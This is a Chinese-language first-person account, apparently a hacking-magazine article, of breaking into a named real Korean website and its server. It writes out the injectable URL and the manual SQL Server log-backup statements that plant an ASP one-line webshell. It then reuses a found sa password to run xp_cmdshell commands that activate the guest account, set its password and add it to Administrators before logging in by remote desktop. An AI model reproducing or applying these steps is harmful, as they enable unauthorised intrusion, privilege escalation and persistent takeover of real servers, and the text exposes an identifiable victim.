啊D检测出来的结果是存在SQL注入的,注入点为:http://www.dalong.co.kr/board/qa_list.asp?id=dlboard1,注入类型是MSSQL注入,权限为DB_OWNER。由于是韩国站,就不打算猜表猜列得到管理员相关信息再登录后台了,因为就算我真的进了后台,也未必能在后台搞到webshell!韩文不懂嘛,没办法。思路初步确定利用DB_OWNER权限LOG备份写进一句话ASP木马。但前提是要找到WEB路径,这个不难实现,用啊D的列目录功能就可以了。最后确定WEB根目录为:D:\www\dalong。接着就是LOG备份了。这次就用手工的吧,工具虽好,手工可以加强理解嘛。用IE分别在注入点http://www.dalong.co.kr/board/qa_list.asp?id=dlboard1后面执行:
;alter database dalong2002 set RECOVERY FULL--
;backup log dalong2002 to disk = 'c:\cmd' with init--
;create table cmd (a image)--
;insert into cmd (a) values ('')--
;backup log dalong2002 to disk = 'D:\www\dalong\hack.asp'--
;drop table cmd--
大致意思就是在数据库里创建一个cmd表,再往表里插入内容,再备份到WEB目录上去,然后删除表。当然了,你也可以用工具,工具来得方便,不过手工更利于加强理解哦。前几期的杂志也介绍过用工具备份的了,我就不再哆嗦了。然后访问一下备份出来的文件hack.asp。注意文件底部出现“Execute”了,大致意思就是类型不匹配之类的。这样就说明一句话已经成功备份出来了,这可是一句话的标志哦。接下来当然是用客户端连接了,连接成功后。虽然页面是乱了点,但我们可以清楚地看到返回了服务器的环境变量信息。利用一句话成功上传了一个站长助手。至此,webshell就已经完全得到了。主页有修改权限,这就已经得到了网站的控制权了。坏事就不做了,呵呵。
DB_OWNER的SQL连接用户是不能够执行系统命令的,所以不能达到通过SQL操作来添加系统用户的目的。必须要有一个具有SA权限的SQL连接用户才行!继续在webshell里到处逛,手上只有它有点用了,唉!无意中发现还有个貌似是数据库连接文件的ASP文件WebTicketDBConnect.asp,打开看看,用户是sa,密码也和先前发现的不同。管他呢,死马当活马医了。再用得到的新的SQL用户密码在sqlrootkit上登录,哈哈,这次提示“恭喜!sql server最高权限”了,是SA权限的了。检测下相关组件,发现全部组件都存在。这倒是再好不过了,其实只要xp_cmdshell组件存在就可以执行系统命令了。在“系统命令”里输入要执行的命令“net user”,在“请选择运行程序的组件”下拉选中“xp_cmdshell”,然后执行,成功返回系统用户信息。接着再执行net user guest /active:yes、net user guest password、net localgroup Administrators guest /add三条命令。意思就是先激活guest用户,然后设一个密码,再把guest用户加进管理员组。至此成功添加了具有管理员权限的系统用户。当然了,如果你不想用sqlrootkit的话,也可以用SQL连接工具进行连接,比如SQLTools就是一个很好的例子。不过用SQLTools的话要多一项,就是数据库名称,不过这个也可以通过查看SQL数据库连接文件得到。这个就看个人爱好了,反正功能都基本上一样的。这里做个示范,用SQLTools连接后执行net user guest命令查看下guest用户的信息。由于是韩国服务器,韩文不能正常显示出来,都变成问号了!但是可以清楚到看到guest用户已经在管理员组里的了。最后就是登录远程桌面了。至此已经完全控制了该服务器,还是双CPU的哦,渗透至此结束了。没有什么技术含量,牛人们都说入侵三分靠技术,七分靠运气,看来的确很有道理哦。